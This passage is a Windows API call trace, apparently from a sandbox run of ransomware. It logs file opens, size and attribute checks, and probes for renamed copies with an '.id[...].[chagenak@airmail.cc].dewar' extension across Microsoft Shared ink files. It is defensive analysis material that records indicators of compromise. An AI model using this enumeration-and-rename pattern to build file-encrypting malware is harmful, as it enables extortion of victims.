Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0221.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.883] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0221.883] CloseHandle (hObject=0x1d8) returned 1 [0221.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0221.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0221.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.885] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0221.885] CloseHandle (hObject=0x1d8) returned 1 [0221.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0221.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0221.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.887] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0221.887] CloseHandle (hObject=0x1d8) returned 1 [0221.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0221.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0221.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0221.889] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=169984) returned 1 [0221.890] CloseHandle (hObject=0x1d8) returned 1 [0221.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0221.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0221.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0222.777] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0222.777] CloseHandle (hObject=0x1d4) returned 1 [0222.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0222.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0222.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0222.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.780] SetEvent (hEvent=0x118) returned 1 [0222.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0222.782] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0222.783] CloseHandle (hObject=0x1d4) returned 1 [0222.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0222.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0222.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0222.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0222.785] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0222.785] CloseHandle (hObject=0x1d4) returned 1 [0222.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0222.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0222.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0222.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.195] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0228.195] CloseHandle (hObject=0x1d4) returned 1 [0228.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0228.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0228.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.199] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0228.199] CloseHandle (hObject=0x1d4) returned 1 [0228.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0228.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0228.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.202] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=110592) returned 1 [0228.202] CloseHandle (hObject=0x1d4) returned 1 [0228.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0228.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0228.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.205] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=544768) returned 1 [0228.205] CloseHandle (hObject=0x1d4) returned 1 [0228.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0228.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0228.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.207] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=12288) returned 1 [0228.208] CloseHandle (hObject=0x1d4) returned 1 [0228.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0228.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0228.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.211] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1246720) returned 1 [0228.211] CloseHandle (hObject=0x1d4) returned 1 [0228.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0228.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0228.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.213] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=503296) returned 1 [0228.214] CloseHandle (hObject=0x1d4) returned 1 [0228.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0228.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0228.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.216] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=101376) returned 1 [0228.216] CloseHandle (hObject=0x1d4) returned 1 [0228.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0228.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0228.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0228.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0228.218] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0228.219] CloseHandle (hObject=0x1d4) 